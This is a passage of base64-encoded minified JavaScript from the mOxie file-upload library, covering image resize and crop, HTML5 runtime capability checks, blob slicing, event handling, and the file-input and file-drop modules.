SUik7aWYodD1uLm1ldGEmJm4ubWV0YS50aWZmJiZuLm1ldGEudGlmZi5PcmllbnRhdGlvbnx8MSwtMSE9PWMuaW5BcnJheSh0LFs1LDYsNyw4XSkpe3ZhciBzPW8ud2lkdGg7by53aWR0aD1vLmhlaWdodCxvLmhlaWdodD1zfWlmKG8uY3JvcCl7c3dpdGNoKGk9TWF0aC5tYXgoby53aWR0aC9uLndpZHRoLG8uaGVpZ2h0L24uaGVpZ2h0KSxpPWUuZml0PyhyLndpZHRoPU1hdGgubWluKE1hdGguY2VpbChvLndpZHRoL2kpLG4ud2lkdGgpLHIuaGVpZ2h0PU1hdGgubWluKE1hdGguY2VpbChvLmhlaWdodC9pKSxuLmhlaWdodCksby53aWR0aC9yLndpZHRoKTooci53aWR0aD1NYXRoLm1pbihvLndpZHRoLG4ud2lkdGgpLHIuaGVpZ2h0PU1hdGgubWluKG8uaGVpZ2h0LG4uaGVpZ2h0KSwxKSwiYm9vbGVhbiI9PXR5cGVvZiBvLmNyb3AmJihvLmNyb3A9ImNjIiksby5jcm9wLnRvTG93ZXJDYXNlKCkucmVwbGFjZSgvXy8sIi0iKSl7Y2FzZSJyYiI6Y2FzZSJyaWdodC1ib3R0b20iOnIueD1uLndpZHRoLXIud2lkdGgsci55PW4uaGVpZ2h0LXIuaGVpZ2h0O2JyZWFrO2Nhc2UiY2IiOmNhc2UiY2VudGVyLWJvdHRvbSI6ci54PU1hdGguZmxvb3IoKG4ud2lkdGgtci53aWR0aCkvMiksci55PW4uaGVpZ2h0LXIuaGVpZ2h0O2JyZWFrO2Nhc2UibGIiOmNhc2UibGVmdC1ib3R0b20iOnIueD0wLHIueT1uLmhlaWdodC1yLmhlaWdodDticmVhaztjYXNlImx0IjpjYXNlImxlZnQtdG9wIjpyLng9MCxyLnk9MDticmVhaztjYXNlImN0IjpjYXNlImNlbnRlci10b3AiOnIueD1NYXRoLmZsb29yKChuLndpZHRoLXIud2lkdGgpLzIpLHIueT0wO2JyZWFrO2Nhc2UicnQiOmNhc2UicmlnaHQtdG9wIjpyLng9bi53aWR0aC1yLndpZHRoLHIueT0wO2JyZWFrO2Nhc2UicmMiOmNhc2UicmlnaHQtY2VudGVyIjpjYXNlInJpZ2h0LW1pZGRsZSI6ci54PW4ud2lkdGgtci53aWR0aCxyLnk9TWF0aC5mbG9vcigobi5oZWlnaHQtci5oZWlnaHQpLzIpO2JyZWFrO2Nhc2UibGMiOmNhc2UibGVmdC1jZW50ZXIiOmNhc2UibGVmdC1taWRkbGUiOnIueD0wLHIueT1NYXRoLmZsb29yKChuLmhlaWdodC1yLmhlaWdodCkvMik7YnJlYWs7Y2FzZSJjYyI6Y2FzZSJjZW50ZXItY2VudGVyIjpjYXNlImNlbnRlci1taWRkbGUiOmRlZmF1bHQ6ci54PU1hdGguZmxvb3IoKG4ud2lkdGgtci53aWR0aCkvMiksci55PU1hdGguZmxvb3IoKG4uaGVpZ2h0LXIuaGVpZ2h0KS8yKX1yLng9TWF0aC5tYXgoci54LDApLHIueT1NYXRoLm1heChyLnksMCl9ZWxzZSAxPChpPU1hdGgubWluKG8ud2lkdGgvbi53aWR0aCxvLmhlaWdodC9uLmhlaWdodCkpJiYhby5maXQmJihpPTEpO3RoaXMuZXhlYygiSW1hZ2UiLCJyZXNpemUiLHIsaSxvKX1jYXRjaChlKXtuLnRyaWdnZXIoImVycm9yIixlLmNvZGUpfX0sZG93bnNpemU6ZnVuY3Rpb24oZSl7dmFyIHQsaT17d2lkdGg6dGhpcy53aWR0aCxoZWlnaHQ6dGhpcy5oZWlnaHQsdHlwZTp0aGlzLnR5cGV8fCJpbWFnZS9qcGVnIixxdWFsaXR5OjkwLGNyb3A6ITEsZml0OiExLHByZXNlcnZlSGVhZGVyczohMCxyZXNhbXBsZToiZGVmYXVsdCJ9O3Q9Im9iamVjdCI9PXR5cGVvZiBlP2MuZXh0ZW5kKGksZSk6Yy5leHRlbmQoaSx7d2lkdGg6ZSxoZWlnaHQ6YXJndW1lbnRzWzFdLGNyb3A6YXJndW1lbnRzWzJdLHByZXNlcnZlSGVhZGVyczphcmd1bWVudHNbM119KSx0aGlzLnJlc2l6ZSh0KX0sY3JvcDpmdW5jdGlvbihlLHQsaSl7dGhpcy5kb3duc2l6ZShlLHQsITAsaSl9LGdldEFzQ2FudmFzOmZ1bmN0aW9uKCl7aWYoIWguY2FuKCJjcmVhdGVfY2FudmFzIikpdGhyb3cgbmV3IGwuUnVudGltZUVycm9yKGwuUnVudGltZUVycm9yLk5PVF9TVVBQT1JURURfRVJSKTtyZXR1cm4gdGhpcy5leGVjKCJJbWFnZSIsImdldEFzQ2FudmFzIil9LGdldEFzQmxvYjpmdW5jdGlvbihlLHQpe2lmKCF0aGlzLnNpemUpdGhyb3cgbmV3IGwuRE9NRXhjZXB0aW9uKGwuRE9NRXhjZXB0aW9uLklOVkFMSURfU1RBVEVfRVJSKTtyZXR1cm4gdGhpcy5leGVjKCJJbWFnZSIsImdldEFzQmxvYiIsZXx8ImltYWdlL2pwZWciLHR8fDkwKX0sZ2V0QXNEYXRhVVJMOmZ1bmN0aW9uKGUsdCl7aWYoIXRoaXMuc2l6ZSl0aHJvdyBuZXcgbC5ET01FeGNlcHRpb24obC5ET01FeGNlcHRpb24uSU5WQUxJRF9TVEFURV9FUlIpO3JldHVybiB0aGlzLmV4ZWMoIkltYWdlIiwiZ2V0QXNEYXRhVVJMIixlfHwiaW1hZ2UvanBlZyIsdHx8OTApfSxnZXRBc0JpbmFyeVN0cmluZzpmdW5jdGlvbihlLHQpe3ZhciBpPXRoaXMuZ2V0QXNEYXRhVVJMKGUsdCk7cmV0dXJuIHAuYXRvYihpLnN1YnN0cmluZyhpLmluZGV4T2YoImJhc2U2NCwiKSs3KSl9LGVtYmVkOmZ1bmN0aW9uKHMsZSl7dmFyIGEsdT10aGlzLHQ9Yy5leHRlbmQoe3dpZHRoOnRoaXMud2lkdGgsaGVpZ2h0OnRoaXMuaGVpZ2h0LHR5cGU6dGhpcy50eXBlfHwiaW1hZ2UvanBlZyIscXVhbGl0eTo5MCxmaXQ6ITAscmVzYW1wbGU6Im5lYXJlc3QifSxlKTt0cnl7aWYoIShzPW4uZ2V0KHMpKSl0aHJvdyBuZXcgbC5ET01FeGNlcHRpb24obC5ET01FeGNlcHRpb24uSU5WQUxJRF9OT0RFX1RZUEVfRVJSKTtpZighdGhpcy5zaXplKXRocm93IG5ldyBsLkRPTUV4Y2VwdGlvbihsLkRPTUV4Y2VwdGlvbi5JTlZBTElEX1NUQVRFX0VSUik7dGhpcy53aWR0aD5tLk1BWF9SRVNJWkVfV0lEVEh8fHRoaXMuaGVpZ2h0O3ZhciBpPW5ldyBtO3JldHVybiBpLmJpbmQoIlJlc2l6ZSIsZnVuY3Rpb24oKXsoZnVuY3Rpb24oZSx0KXt2YXIgaT10aGlzO2lmKGguY2FuKCJjcmVhdGVfY2FudmFzIikpe3ZhciBuPWkuZ2V0QXNDYW52YXMoKTtpZihuKXJldHVybiBzLmFwcGVuZENoaWxkKG4pLG49bnVsbCxpLmRlc3Ryb3koKSx2b2lkIHUudHJpZ2dlcigiZW1iZWRkZWQiKX12YXIgcj1pLmdldEFzRGF0YVVSTChlLHQpO2lmKCFyKXRocm93IG5ldyBsLkltYWdlRXJyb3IobC5JbWFnZUVycm9yLldST05HX0ZPUk1BVCk7aWYoaC5jYW4oInVzZV9kYXRhX3VyaV9vZiIsci5sZW5ndGgpKXMuaW5uZXJIVE1MPSc8aW1nIHNyYz0iJytyKyciIHdpZHRoPSInK2kud2lkdGgrJyIgaGVpZ2h0PSInK2kuaGVpZ2h0KyciIGFsdD0iIiAvPicsaS5kZXN0cm95KCksdS50cmlnZ2VyKCJlbWJlZGRlZCIpO2Vsc2V7dmFyIG89bmV3IGQ7by5iaW5kKCJUcmFuc3BvcnRpbmdDb21wbGV0ZSIsZnVuY3Rpb24oKXthPXUuY29ubmVjdFJ1bnRpbWUodGhpcy5yZXN1bHQucnVpZCksdS5iaW5kKCJFbWJlZGRlZCIsZnVuY3Rpb24oKXtjLmV4dGVuZChhLmdldFNoaW1Db250YWluZXIoKS5zdHlsZSx7dG9wOiIwcHgiLGxlZnQ6IjBweCIsd2lkdGg6aS53aWR0aCsicHgiLGhlaWdodDppLmhlaWdodCsicHgifSksYT1udWxsfSw5OTkpLGEuZXhlYy5jYWxsKHUsIkltYWdlVmlldyIsImRpc3BsYXkiLHRoaXMucmVzdWx0LnVpZCx3aWR0aCxoZWlnaHQpLGkuZGVzdHJveSgpfSksby50cmFuc3BvcnQocC5hdG9iKHIuc3Vic3RyaW5nKHIuaW5kZXhPZigiYmFzZTY0LCIpKzcpKSxlLHtyZXF1aXJlZF9jYXBzOntkaXNwbGF5X21lZGlhOiEwfSxydW50aW1lX29yZGVyOiJmbGFzaCxzaWx2ZXJsaWdodCIsY29udGFpbmVyOnN9KX19KS5jYWxsKHRoaXMsdC50eXBlLHQucXVhbGl0eSl9KSxpLmJpbmQoIkxvYWQiLGZ1bmN0aW9uKCl7dGhpcy5kb3duc2l6ZSh0KX0pLHRoaXMubWV0YS50aHVtYiYmdGhpcy5tZXRhLnRodW1iLndpZHRoPj10LndpZHRoJiZ0aGlzLm1ldGEudGh1bWIuaGVpZ2h0Pj10LmhlaWdodD9pLmxvYWQodGhpcy5tZXRhLnRodW1iLmRhdGEpOmkuY2xvbmUodGhpcywhMSksaX1jYXRjaChlKXt0aGlzLnRyaWdnZXIoImVycm9yIixlLmNvZGUpfX0sZGVzdHJveTpmdW5jdGlvbigpe3RoaXMucnVpZCYmKHRoaXMuZ2V0UnVudGltZSgpLmV4ZWMuY2FsbCh0aGlzLCJJbWFnZSIsImRlc3Ryb3kiKSx0aGlzLmRpc2Nvbm5lY3RSdW50aW1lKCkpLHRoaXMubWV0YSYmdGhpcy5tZXRhLnRodW1iJiZ0aGlzLm1ldGEudGh1bWIuZGF0YS5kZXN0cm95KCksdGhpcy51bmJpbmRBbGwoKX19KSx0aGlzLmhhbmRsZUV2ZW50UHJvcHMoZiksdGhpcy5iaW5kKCJMb2FkIFJlc2l6ZSIsZnVuY3Rpb24oKXtyZXR1cm4gZnVuY3Rpb24oZSl7dHJ5e3JldHVybiBlfHwoZT10aGlzLmV4ZWMoIkltYWdlIiwiZ2V0SW5mbyIpKSx0aGlzLnNpemU9ZS5zaXplLHRoaXMud2lkdGg9ZS53aWR0aCx0aGlzLmhlaWdodD1lLmhlaWdodCx0aGlzLnR5cGU9ZS50eXBlLHRoaXMubWV0YT1lLm1ldGEsIiI9PT10aGlzLm5hbWUmJih0aGlzLm5hbWU9ZS5uYW1lKSwhMH1jYXRjaChlKXtyZXR1cm4gdGhpcy50cmlnZ2VyKCJlcnJvciIsZS5jb2RlKSwhMX19LmNhbGwodGhpcyl9LDk5OSl9dmFyIGY9WyJwcm9ncmVzcyIsImxvYWQiLCJlcnJvciIsInJlc2l6ZSIsImVtYmVkZGVkIl07cmV0dXJuIG0uTUFYX1JFU0laRV9XSURUSD04MTkyLG0uTUFYX1JFU0laRV9IRUlHSFQ9ODE5MixtLnByb3RvdHlwZT1pLmluc3RhbmNlLG19KSxlKCJtb3hpZS9ydW50aW1lL2h0bWw1L1J1bnRpbWUiLFsibW94aWUvY29yZS91dGlscy9CYXNpYyIsIm1veGllL2NvcmUvRXhjZXB0aW9ucyIsIm1veGllL3J1bnRpbWUvUnVudGltZSIsIm1veGllL2NvcmUvdXRpbHMvRW52Il0sZnVuY3Rpb24oYSxlLHUsYyl7dmFyIGw9e307cmV0dXJuIHUuYWRkQ29uc3RydWN0b3IoImh0bWw1IixmdW5jdGlvbihlKXt2YXIgdCxpLG49dGhpcyxyPXUuY2FwVGVzdCxvPXUuY2FwVHJ1ZSxzPWEuZXh0ZW5kKHthY2Nlc3NfYmluYXJ5OnIod2luZG93LkZpbGVSZWFkZXJ8fHdpbmRvdy5GaWxlJiZ3aW5kb3cuRmlsZS5nZXRBc0RhdGFVUkwpLGFjY2Vzc19pbWFnZV9iaW5hcnk6ZnVuY3Rpb24oKXtyZXR1cm4gbi5jYW4oImFjY2Vzc19iaW5hcnkiKSYmISFsLkltYWdlfSxkaXNwbGF5X21lZGlhOnIoKGMuY2FuKCJjcmVhdGVfY2FudmFzIil8fGMuY2FuKCJ1c2VfZGF0YV91cmlfb3ZlcjMya2IiKSkmJmQoIm1veGllL2ltYWdlL0ltYWdlIikpLGRvX2NvcnM6cih3aW5kb3cuWE1MSHR0cFJlcXVlc3QmJiJ3aXRoQ3JlZGVudGlhbHMiaW4gbmV3IFhNTEh0dHBSZXF1ZXN0KSxkcmFnX2FuZF9kcm9wOnIoKHQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2IiksKCJkcmFnZ2FibGUiaW4gdHx8Im9uZHJhZ3N0YXJ0ImluIHQmJiJvbmRyb3AiaW4gdCkmJigiSUUiIT09Yy5icm93c2VyfHxjLnZlckNvbXAoYy52ZXJzaW9uLDksIj4iKSkpKSxmaWx0ZXJfYnlfZXh0ZW5zaW9uOnIoISgiQ2hyb21lIj09PWMuYnJvd3NlciYmYy52ZXJDb21wKGMudmVyc2lvbiwyOCwiPCIpfHwiSUUiPT09Yy5icm93c2VyJiZjLnZlckNvbXAoYy52ZXJzaW9uLDEwLCI8Iil8fCJTYWZhcmkiPT09Yy5icm93c2VyJiZjLnZlckNvbXAoYy52ZXJzaW9uLDExLCI8PSIpfHwiRmlyZWZveCI9PT1jLmJyb3dzZXImJmMudmVyQ29tcChjLnZlcnNpb24sMzcsIjwiKXx8ImlPUyI9PT1jLm9zfHwiQW5kcm9pZCI9PT1jLm9zKSkscmV0dXJuX3Jlc3BvbnNlX2hlYWRlcnM6byxyZXR1cm5fcmVzcG9uc2VfdHlwZTpmdW5jdGlvbihlKXtyZXR1cm4hKCJqc29uIiE9PWV8fCF3aW5kb3cuSlNPTil8fGMuY2FuKCJyZXR1cm5fcmVzcG9uc2VfdHlwZSIsZSl9LHJldHVybl9zdGF0dXNfY29kZTpvLHJlcG9ydF91cGxvYWRfcHJvZ3Jlc3M6cih3aW5kb3cuWE1MSHR0cFJlcXVlc3QmJihuZXcgWE1MSHR0cFJlcXVlc3QpLnVwbG9hZCkscmVzaXplX2ltYWdlOmZ1bmN0aW9uKCl7cmV0dXJuIG4uY2FuKCJhY2Nlc3NfYmluYXJ5IikmJmMuY2FuKCJjcmVhdGVfY2FudmFzIil9LHNlbGVjdF9maWxlOmZ1bmN0aW9uKCl7cmV0dXJuIGMuY2FuKCJ1c2VfZmlsZWlucHV0IikmJndpbmRvdy5GaWxlfSxzZWxlY3RfZm9sZGVyOmZ1bmN0aW9uKCl7cmV0dXJuIG4uY2FuKCJzZWxlY3RfZmlsZSIpJiYoIkNocm9tZSI9PT1jLmJyb3dzZXImJmMudmVyQ29tcChjLnZlcnNpb24sMjEsIj49Iil8fCJGaXJlZm94Ij09PWMuYnJvd3NlciYmYy52ZXJDb21wKGMudmVyc2lvbiw0MiwiPj0iKSl9LHNlbGVjdF9tdWx0aXBsZTpmdW5jdGlvbigpe3JldHVybiEoIW4uY2FuKCJzZWxlY3RfZmlsZSIpfHwiU2FmYXJpIj09PWMuYnJvd3NlciYmIldpbmRvd3MiPT09Yy5vc3x8ImlPUyI9PT1jLm9zJiZjLnZlckNvbXAoYy5vc1ZlcnNpb24sIjcuMC4wIiwiPiIpJiZjLnZlckNvbXAoYy5vc1ZlcnNpb24sIjguMC4wIiwiPCIpKX0sc2VuZF9iaW5hcnlfc3RyaW5nOnIod2luZG93LlhNTEh0dHBSZXF1ZXN0JiYoKG5ldyBYTUxIdHRwUmVxdWVzdCkuc2VuZEFzQmluYXJ5fHx3aW5kb3cuVWludDhBcnJheSYmd2luZG93LkFycmF5QnVmZmVyKSksc2VuZF9jdXN0b21faGVhZGVyczpyKHdpbmRvdy5YTUxIdHRwUmVxdWVzdCksc2VuZF9tdWx0aXBhcnQ6ZnVuY3Rpb24oKXtyZXR1cm4hISh3aW5kb3cuWE1MSHR0cFJlcXVlc3QmJihuZXcgWE1MSHR0cFJlcXVlc3QpLnVwbG9hZCYmd2luZG93LkZvcm1EYXRhKXx8bi5jYW4oInNlbmRfYmluYXJ5X3N0cmluZyIpfSxzbGljZV9ibG9iOnIod2luZG93LkZpbGUmJihGaWxlLnByb3RvdHlwZS5tb3pTbGljZXx8RmlsZS5wcm90b3R5cGUud2Via2l0U2xpY2V8fEZpbGUucHJvdG90eXBlLnNsaWNlKSksc3RyZWFtX3VwbG9hZDpmdW5jdGlvbigpe3JldHVybiBuLmNhbigic2xpY2VfYmxvYiIpJiZuLmNhbigic2VuZF9tdWx0aXBhcnQiKX0sc3VtbW9uX2ZpbGVfZGlhbG9nOmZ1bmN0aW9uKCl7cmV0dXJuIG4uY2FuKCJzZWxlY3RfZmlsZSIpJiYhKCJGaXJlZm94Ij09PWMuYnJvd3NlciYmYy52ZXJDb21wKGMudmVyc2lvbiw0LCI8Iil8fCJPcGVyYSI9PT1jLmJyb3dzZXImJmMudmVyQ29tcChjLnZlcnNpb24sMTIsIjwiKXx8IklFIj09PWMuYnJvd3NlciYmYy52ZXJDb21wKGMudmVyc2lvbiwxMCwiPCIpKX0sdXBsb2FkX2ZpbGVzaXplOm8sdXNlX2h0dHBfbWV0aG9kOm99LGFyZ3VtZW50c1syXSk7dS5jYWxsKHRoaXMsZSxhcmd1bWVudHNbMV18fCJodG1sNSIscyksYS5leHRlbmQodGhpcyx7aW5pdDpmdW5jdGlvbigpe3RoaXMudHJpZ2dlcigiSW5pdCIpfSxkZXN0cm95OihpPXRoaXMuZGVzdHJveSxmdW5jdGlvbigpe2kuY2FsbChuKSxpPW49bnVsbH0pfSksYS5leHRlbmQodGhpcy5nZXRTaGltKCksbCl9KSxsfSksZSgibW94aWUvcnVudGltZS9odG1sNS9maWxlL0Jsb2IiLFsibW94aWUvcnVudGltZS9odG1sNS9SdW50aW1lIiwibW94aWUvZmlsZS9CbG9iIl0sZnVuY3Rpb24oZSx0KXtyZXR1cm4gZS5CbG9iPWZ1bmN0aW9uKCl7dGhpcy5zbGljZT1mdW5jdGlvbigpe3JldHVybiBuZXcgdCh0aGlzLmdldFJ1bnRpbWUoKS51aWQsZnVuY3Rpb24oZSx0LGkpe3ZhciBuO2lmKCF3aW5kb3cuRmlsZS5wcm90b3R5cGUuc2xpY2UpcmV0dXJuKG49d2luZG93LkZpbGUucHJvdG90eXBlLndlYmtpdFNsaWNlfHx3aW5kb3cuRmlsZS5wcm90b3R5cGUubW96U2xpY2UpP24uY2FsbChlLHQsaSk6bnVsbDt0cnl7cmV0dXJuIGUuc2xpY2UoKSxlLnNsaWNlKHQsaSl9Y2F0Y2gobil7cmV0dXJuIGUuc2xpY2UodCxpLXQpfX0uYXBwbHkodGhpcyxhcmd1bWVudHMpKX0sdGhpcy5kZXN0cm95PWZ1bmN0aW9uKCl7dGhpcy5nZXRSdW50aW1lKCkuZ2V0U2hpbSgpLnJlbW92ZUluc3RhbmNlKHRoaXMudWlkKX19fSksZSgibW94aWUvY29yZS91dGlscy9FdmVudHMiLFsibW94aWUvY29yZS91dGlscy9CYXNpYyJdLGZ1bmN0aW9uKHMpe2Z1bmN0aW9uIGEoKXt0aGlzLnJldHVyblZhbHVlPSExfWZ1bmN0aW9uIHUoKXt0aGlzLmNhbmNlbEJ1YmJsZT0hMH12YXIgYz17fSxsPSJtb3hpZV8iK3MuZ3VpZCgpLHI9ZnVuY3Rpb24oZSx0LGkpe3ZhciBuO2lmKHQ9dC50b0xvd2VyQ2FzZSgpLGVbbF0mJmNbZVtsXV0mJmNbZVtsXV1bdF0pe2Zvcih2YXIgcj0obj1jW2VbbF1dW3RdKS5sZW5ndGgtMTswPD1yJiYobltyXS5vcmlnIT09aSYmbltyXS5rZXkhPT1pfHwoZS5yZW1vdmVFdmVudExpc3RlbmVyP2UucmVtb3ZlRXZlbnRMaXN0ZW5lcih0LG5bcl0uZnVuYywhMSk6ZS5kZXRhY2hFdmVudCYmZS5kZXRhY2hFdmVudCgib24iK3QsbltyXS5mdW5jKSxuW3JdLm9yaWc9bnVsbCxuW3JdLmZ1bmM9bnVsbCxuLnNwbGljZShyLDEpLHZvaWQgMD09PWkpKTtyLS0pO2lmKG4ubGVuZ3RofHxkZWxldGUgY1tlW2xdXVt0XSxzLmlzRW1wdHlPYmooY1tlW2xdXSkpe2RlbGV0ZSBjW2VbbF1dO3RyeXtkZWxldGUgZVtsXX1jYXRjaCh0KXtlW2xdPXZvaWQgMH19fX07cmV0dXJue2FkZEV2ZW50OmZ1bmN0aW9uKGUsdCxpLG4pe3ZhciByLG87dD10LnRvTG93ZXJDYXNlKCksZS5hZGRFdmVudExpc3RlbmVyPyhyPWksZS5hZGRFdmVudExpc3RlbmVyKHQsciwhMSkpOmUuYXR0YWNoRXZlbnQmJihyPWZ1bmN0aW9uKCl7dmFyIGU9d2luZG93LmV2ZW50O2UudGFyZ2V0fHwoZS50YXJnZXQ9ZS5zcmNFbGVtZW50KSxlLnByZXZlbnREZWZhdWx0PWEsZS5zdG9wUHJvcGFnYXRpb249dSxpKGUpfSxlLmF0dGFjaEV2ZW50KCJvbiIrdCxyKSksZVtsXXx8KGVbbF09cy5ndWlkKCkpLGMuaGFzT3duUHJvcGVydHkoZVtsXSl8fChjW2VbbF1dPXt9KSwobz1jW2VbbF1dKS5oYXNPd25Qcm9wZXJ0eSh0KXx8KG9bdF09W10pLG9bdF0ucHVzaCh7ZnVuYzpyLG9yaWc6aSxrZXk6bn0pfSxyZW1vdmVFdmVudDpyLHJlbW92ZUFsbEV2ZW50czpmdW5jdGlvbihpLG4pe2kmJmlbbF0mJnMuZWFjaChjW2lbbF1dLGZ1bmN0aW9uKGUsdCl7cihpLHQsbil9KX19fSksZSgibW94aWUvcnVudGltZS9odG1sNS9maWxlL0ZpbGVJbnB1dCIsWyJtb3hpZS9ydW50aW1lL2h0bWw1L1J1bnRpbWUiLCJtb3hpZS9maWxlL0ZpbGUiLCJtb3hpZS9jb3JlL3V0aWxzL0Jhc2ljIiwibW94aWUvY29yZS91dGlscy9Eb20iLCJtb3hpZS9jb3JlL3V0aWxzL0V2ZW50cyIsIm1veGllL2NvcmUvdXRpbHMvTWltZSIsIm1veGllL2NvcmUvdXRpbHMvRW52Il0sZnVuY3Rpb24oZSxkLGgscCxtLGYsZyl7cmV0dXJuIGUuRmlsZUlucHV0PWZ1bmN0aW9uKCl7dmFyIGMsbDtoLmV4dGVuZCh0aGlzLHtpbml0OmZ1bmN0aW9uKGUpe3ZhciB0LGksbixyLG8scyxhPXRoaXMsdT1hLmdldFJ1bnRpbWUoKTtjPWUsbj1mLmV4dExpc3QybWltZXMoYy5hY2NlcHQsdS5jYW4oImZpbHRlcl9ieV9leHRlbnNpb24iKSksKGk9dS5nZXRTaGltQ29udGFpbmVyKCkpLmlubmVySFRNTD0nPGlucHV0IGlkPSInK3UudWlkKyciIHR5cGU9ImZpbGUiIHN0eWxlPSJmb250LXNpemU6OTk5cHg7b3BhY2l0eTowOyInKyhjLm11bHRpcGxlJiZ1LmNhbigic2VsZWN0X211bHRpcGxlIik/Im11bHRpcGxlIjoiIikrKGMuZGlyZWN0b3J5JiZ1LmNhbigic2VsZWN0X2ZvbGRlciIpPyJ3ZWJraXRkaXJlY3RvcnkgZGlyZWN0b3J5IjoiIikrKG4/JyBhY2NlcHQ9Iicrbi5qb2luKCIsIikrJyInOiIiKSsiIC8+Iix0PXAuZ2V0KHUudWlkKSxoLmV4dGVuZCh0LnN0eWxlLHtwb3NpdGlvbjoiYWJzb2x1dGUiLHRvcDowLGxlZnQ6MCx3aWR0aDoiMTAwJSIsaGVpZ2h0OiIxMDAlIn0pLHI9cC5nZXQoYy5icm93c2VfYnV0dG9uKSxsPXAuZ2V0U3R5bGUociwiei1pbmRleCIpfHwiYXV0byIsdS5jYW4oInN1bW1vbl9maWxlX2RpYWxvZyIpJiYoInN0YXRpYyI9PT1wLmdldFN0eWxlKHIsInBvc2l0aW9uIikmJihyLnN0eWxlLnBvc2l0aW9uPSJyZWxhdGl2ZSIpLG0uYWRkRXZlbnQociwiY2xpY2siLGZ1bmN0aW9uKGUpe3ZhciB0PXAuZ2V0KHUudWlkKTt0JiYhdC5kaXNhYmxlZCYmdC5jbGljaygpLGUucHJldmVudERlZmF1bHQoKX0sYS51aWQpLGEuYmluZCgiUmVmcmVzaCIsZnVuY3Rpb24oKXtvPXBhcnNlSW50KGwsMTApfHwxLHAuZ2V0KGMuYnJvd3NlX2J1dHRvbikuc3R5bGUuekluZGV4PW8sdGhpcy5nZXRSdW50aW1lKCkuZ2V0U2hpbUNvbnRhaW5lcigpLnN0eWxlLnpJbmRleD1vLTF9KSkscz11LmNhbigic3VtbW9uX2ZpbGVfZGlhbG9nIik/cjppLG0uYWRkRXZlbnQocywibW91c2VvdmVyIixmdW5jdGlvbigpe2EudHJpZ2dlcigibW91c2VlbnRlciIpfSxhLnVpZCksbS5hZGRFdmVudChzLCJtb3VzZW91dCIsZnVuY3Rpb24oKXthLnRyaWdnZXIoIm1vdXNlbGVhdmUiKX0sYS51aWQpLG0uYWRkRXZlbnQocywibW91c2Vkb3duIixmdW5jdGlvbigpe2EudHJpZ2dlcigibW91c2Vkb3duIil9LGEudWlkKSxtLmFkZEV2ZW50KHAuZ2V0KGMuY29udGFpbmVyKSwibW91c2V1cCIsZnVuY3Rpb24oKXthLnRyaWdnZXIoIm1vdXNldXAiKX0sYS51aWQpLCh1LmNhbigic3VtbW9uX2ZpbGVfZGlhbG9nIik/dDpyKS5zZXRBdHRyaWJ1dGUoInRhYmluZGV4IiwtMSksdC5vbmNoYW5nZT1mdW5jdGlvbiBlKCl7aWYoYS5maWxlcz1bXSxoLmVhY2godGhpcy5maWxlcyxmdW5jdGlvbihlKXt2YXIgdD0iIjtyZXR1cm4hKCFjLmRpcmVjdG9yeXx8Ii4iIT1lLm5hbWUpfHwoZS53ZWJraXRSZWxhdGl2ZVBhdGgmJih0PSIvIitlLndlYmtpdFJlbGF0aXZlUGF0aC5yZXBsYWNlKC9eXC8vLCIiKSksKGU9bmV3IGQodS51aWQsZSkpLnJlbGF0aXZlUGF0aD10LHZvaWQgYS5maWxlcy5wdXNoKGUpKX0pLCJJRSIhPT1nLmJyb3dzZXImJiJJRU1vYmlsZSIhPT1nLmJyb3dzZXIpdGhpcy52YWx1ZT0iIjtlbHNle3ZhciB0PXRoaXMuY2xvbmVOb2RlKCEwKTt0aGlzLnBhcmVudE5vZGUucmVwbGFjZUNoaWxkKHQsdGhpcyksdC5vbmNoYW5nZT1lfWEuZmlsZXMubGVuZ3RoJiZhLnRyaWdnZXIoImNoYW5nZSIpfSxhLnRyaWdnZXIoe3R5cGU6InJlYWR5Iixhc3luYzohMH0pLGk9bnVsbH0sc2V0T3B0aW9uOmZ1bmN0aW9uKGUsdCl7dmFyIGk9dGhpcy5nZXRSdW50aW1lKCksbj1wLmdldChpLnVpZCk7c3dpdGNoKGUpe2Nhc2UiYWNjZXB0IjppZih0KXt2YXIgcj10Lm1pbWVzfHxmLmV4dExpc3QybWltZXModCxpLmNhbigiZmlsdGVyX2J5X2V4dGVuc2lvbiIpKTtuLnNldEF0dHJpYnV0ZSgiYWNjZXB0IixyLmpvaW4oIiwiKSl9ZWxzZSBuLnJlbW92ZUF0dHJpYnV0ZSgiYWNjZXB0Iik7YnJlYWs7Y2FzZSJkaXJlY3RvcnkiOnQmJmkuY2FuKCJzZWxlY3RfZm9sZGVyIik/KG4uc2V0QXR0cmlidXRlKCJkaXJlY3RvcnkiLCIiKSxuLnNldEF0dHJpYnV0ZSgid2Via2l0ZGlyZWN0b3J5IiwiIikpOihuLnJlbW92ZUF0dHJpYnV0ZSgiZGlyZWN0b3J5Iiksbi5yZW1vdmVBdHRyaWJ1dGUoIndlYmtpdGRpcmVjdG9yeSIpKTticmVhaztjYXNlIm11bHRpcGxlIjp0JiZpLmNhbigic2VsZWN0X211bHRpcGxlIik/bi5zZXRBdHRyaWJ1dGUoIm11bHRpcGxlIiwiIik6bi5yZW1vdmVBdHRyaWJ1dGUoIm11bHRpcGxlIil9fSxkaXNhYmxlOmZ1bmN0aW9uKGUpe3ZhciB0LGk9dGhpcy5nZXRSdW50aW1lKCk7KHQ9cC5nZXQoaS51aWQpKSYmKHQuZGlzYWJsZWQ9ISFlKX0sZGVzdHJveTpmdW5jdGlvbigpe3ZhciBlPXRoaXMuZ2V0UnVudGltZSgpLHQ9ZS5nZXRTaGltKCksaT1lLmdldFNoaW1Db250YWluZXIoKSxuPWMmJnAuZ2V0KGMuY29udGFpbmVyKSxyPWMmJnAuZ2V0KGMuYnJvd3NlX2J1dHRvbik7biYmbS5yZW1vdmVBbGxFdmVudHMobix0aGlzLnVpZCksciYmKG0ucmVtb3ZlQWxsRXZlbnRzKHIsdGhpcy51aWQpLHIuc3R5bGUuekluZGV4PWwpLGkmJihtLnJlbW92ZUFsbEV2ZW50cyhpLHRoaXMudWlkKSxpLmlubmVySFRNTD0iIiksdC5yZW1vdmVJbnN0YW5jZSh0aGlzLnVpZCksYz1pPW49cj10PW51bGx9fSl9fSksZSgibW94aWUvcnVudGltZS9odG1sNS9maWxlL0ZpbGVEcm9wIixbIm1veGllL3J1bnRpbWUvaHRtbDUvUnVudGltZSIsIm1veGllL2ZpbGUvRmlsZSIsIm1veGllL2NvcmUvdXRpbHMvQmFzaWMiLCJtb3hpZS9jb3JlL3V0aWxzL0RvbSIsIm1veGllL2NvcmUvdXRpbHMvRXZlbnRzIiwibW94aWUvY29yZS91dGlscy9NaW1lIl0sZnVuY3Rpb24oZSxyLGMsdCxsLGQpe3JldHVybiBlLkZpbGVEcm9wPWZ